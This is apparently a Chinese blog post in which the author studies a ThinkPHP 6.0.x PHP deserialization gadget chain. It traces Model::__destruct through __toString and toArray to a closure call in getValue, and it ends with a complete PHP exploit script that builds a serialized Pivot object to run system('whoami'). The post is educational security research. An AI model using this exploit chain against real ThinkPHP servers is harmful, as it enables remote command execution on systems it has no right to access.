记Thinkphp6.x框架反序列化学习

前言

资料
之前一直想着出一起php反序列化的总结,这里面还挺多有趣的东西的,不过既然想起来一直没做TP框架这类框架的反序列化分析,即就先做这个吧~
学习php的框架反序列化要先明白很多概念

环境配置

1
2
3
4
curl -sS https://getcomposer.org/installer | php
sudo mv composer.phar /usr/local/bin/composer
echo 'export PATH="$PATH:/usr/local/bin"' >> ~/.bashrc
source ~/.bashrc

一定要配置的是composer2,才能拿到框架源码
composer create-project topthink/think=6.0.3 tp6.0
拿到源码
但是发现是6.1.4版本的,如何拿到6.0.3版本的呢?

修改后进行composer update,再适当调整php版本即可,比如我换成了7.4的版本

成功~
这边改一下config/app.py
'with_route' => false,
给一个反序列化入口

1
2
3
4
5
6
public function hello($name = 'ThinkPHP6')
{
unserialize(base64_decode($name));
return $name;
}
`public/index.php/index/hello/name/{base64字符串}`即可

命名空间namesapce

认为,既是切换当前的命名空间,也是定义了一个新的命名空间(或子空间)
我们以如下代码为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace animal\cat;
class cat{
public function __construct()
{
echo "meow"."\n";
}
}
namespace animal\dogA;
class dog{
public function __construct()
{
echo "A:wooffff"."\n";
}
}
namespace animal\dogB;
class dog
{
public function __construct()
{
echo "B:wooffff"."\n";
}
}

如果我们直接new dog由于最后一个namesapce是animal\dogB
因此我们会回显”B:wooffff”
这个时候,如果我们想实例化其他命令空间的类
我们可以

1
2
namespace animal\dogA;
new dog();

进行切换,再实例化就是A了
或者,我们还可以引入,类似包含关系

1
2
use animal\dogA;
new dogA\dog();

当然我们可以弄一个别名

1
2
use animal\dogA as dogdog;
new dogdog\dog();

也是可以的
了解这个概念之后,就可以理解为啥php框架的反序列化链子满图找,而不是我们初学时候就在一个文件里

类的继承

这个就不多说了,利用extend关键字实现
子类可以继承父类的属性和方法,也可以覆盖父类的方法,也可以通过parent::关键字访问父类被覆盖的方法

trait修饰符

这个修饰符可以使得被修饰的类被复用,具体可见

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
trait test{
public function test(){
echo "test\n";
}
}

class impl{
use test;
public function __construct()
{
echo "impl\n";
}

}
$t=new impl();
$t->test();

这里介绍一个tricks,如果A类里面复用了B类,而B类中又实现__toString魔术方法,echo A类时会走进B类的魔术方法里面,以后会有介绍

学习

正式进入代审的阶段了()

RCE点

给一个小demo

1
2
3
4
5
<?php
$a="system";
$b="whoami";
$c="";
$a($b,$c);

是可以成功执行的,对应到vendor\topthink\think-orm\src\model\concern\Attribute.php的487行的getValue方法(去掉了不重要的地方)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation); //
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];//
$value = $closure($value, $this->data); //让data为空即可
}
}

关键找到了,现在如何从__destruct触发,到达这个地方,并且能够赋值成功呢?

链子

全局搜索__destruct 发现了一个Model类的析构函数
vendor\topthink\think-orm\src\Model.php

1
2
3
4
5
6
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

进入Model::save

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}

// 写入回调
$this->trigger('AfterWrite');

// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;

return true;
}

这里稍微停一下,倒着回溯一下
哪里调用了setValue方法呢?只有一处
Attribute::getAttr方法

1
2
3
4
5
6
7
8
9
10
11
12
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

return $this->getValue($name, $value, $relation);
}

谁又调用了getAttr方法呢?
有两处

1
2
3
4
5
6
7
8
vendor\topthink\think-orm\src\model\concern\Conversion.php
appendAttrToArray
getBindAttr
toArray
vendor\topthink\think-orm\src\Model.php
__isset
offsetGet
__get

同时toArray->appendAttrToArray->getBindAttr
走这个类的话就直接看toArray方法
再看引用
发现Conversion::toJson

1
2
3
4
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

再到__toString方法

1
2
3
4
public function __toString()
{
return $this->toJson();
}

毫无疑问分析到这里,我们可以凑够入口开始找了,哪一块进行了字符拼接呢?
继续开头的分析,我们走到了Model::save
全局搜索一下Model类下是否存在拼接操作
有两个方法

1
2
checkAllowFields()
db()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
$query->model($this)
->json($this->json, $this->jsonAssoc)
->setFieldType(array_merge($this->schema, $this->jsonType));
// 软删除
if (property_exists($this, 'withTrashed') && !$this->withTrashed) {
$this->withNoTrashed($query);
}
// 全局作用域
if (is_array($scope)) {
$globalScope = array_diff($this->globalScope, $scope);
$query->scope($globalScope);
}
// 返回当前模型的数据库查询对象
return $query;
}

简单看了一下两个方法各自的引用,发现了好东西
db在checkAllowFields被调用,checkAllowFields在updateData被调用,updateData在save中被调用,至此成为一个循环,链子基调定了,能不能行再调调

1
2
3
4
5
6
7
8
9
10
Model::__destruct->
Model::save->
Model::updateData->
Model::checkAllowFields->
Model::db->
Conversion::__toString->
Conversion::toJson->
Conversion::toArray->
Attribute::getAttr->
Attribute::getValue

前半段

save方法里面有一个判断

1
2
3
4
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

有三个点,exists属性比较好说,跟进一下isEmpty方法

1
2
3
4
public function isEmpty(): bool
{
return empty($this->data);
}

$this→data 可控,只要让 data[] 不为空,就会 false,过
跟进trigger方法

1
2
3
if (!$this->withEvent) {
return true;
}

很好绕过了,withEvent属性可控
跟进updateData方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (false === $this->trigger('BeforeUpdate')) {
return false;
}//同上可以绕过trigger方法
$this->checkData();
$data = $this->getChangedData();//须跟进
if (empty($data)) {//只要data赋上值即可
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {//data有值即可同上
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
$allowFields = $this->checkAllowFields();

跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}

return $data;
}

可以控制data和origin,即可控制a,b,即可返回data=1,即可绕过empty判断
在跟进函数checkAllowFields

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}

$field = $this->field;

if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}

if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}

return $field;
}

只要两个参数$this->field$this->schema为空即可走进db方法
$this->table . $this->suffix存在字符拼接,可以跟进__toString方法

后半段

畅通无阻进入toArray方法
关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

注意$data是什么

1
$data = array_merge($this->data, $this->relation);

这里会对$data进行遍历,取出其中的$key
默认情况下,会进入第二个 elseif 语句,从而将 $key 作为参数调用 getAttr() 方法
到这里要好好关注值的变化
跟进

1
2
3
4
5
6
7
8
9
10
11
12
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

return $this->getValue($name, $value, $relation);
}

再跟进getData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

再跟进getRealFieldName

1
2
3
4
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}

此时 $fieldName 即为 $key
返回$this->data[$key]

1
2
3
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
}

这里再满足第一个 if 条件,不满足第二三个 if 条件就可以利用 $value = $closure($value, $this->data); 进行命令执行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
}
}

fieldName 又等于name,朔源发现 name 等于 data 的键名。所以这里意思就是需要 $withAttr 和 $data 存在相同的键名
最后一个条件是&&,满足后面一个即可,即 $this->withAttr[$ fieldName] 不为数组,也就是该键对应的值不为数组,这个肯定满足,我们执行恶意命令需要其等于 system

1
2
$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"]; //value=whoami

这一步有点晦涩了()
多调一下吧也还好

exp分析

use model\concern\Conversion;
use model\concern\Attribute;
相当于合二为一了,学习一下exp的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
namespace think\model\concern;
trait Attribute//Attribute属于trait,被Modeluse
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}

namespace think;

abstract class Model//是抽象类,需要找到一个继承它的子类
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

因为源码中 Model引用了Conversion类,因此$a中会有Conversion类的方法
在$b中经过一系列触发
直接触发进Conversion类的__toString方法,在toArray方法里的$this->data,正好属于$a里的$data
完成剩下的rce()
还要注意。为什么是使用Pivot
因为我们使用的类必须是源码中存在的,继承于抽象类Model的子类,如
class Pivot extends Model
全局搜索你能发现,也只有这么一个符合要求的子类

结语

关于TP反序列化之前也看了,关键无法理解复杂的php反序列化,到现在可以理解了,也许是成长了?磨了一个下午,但到底是不成熟的,还需要不断沉淀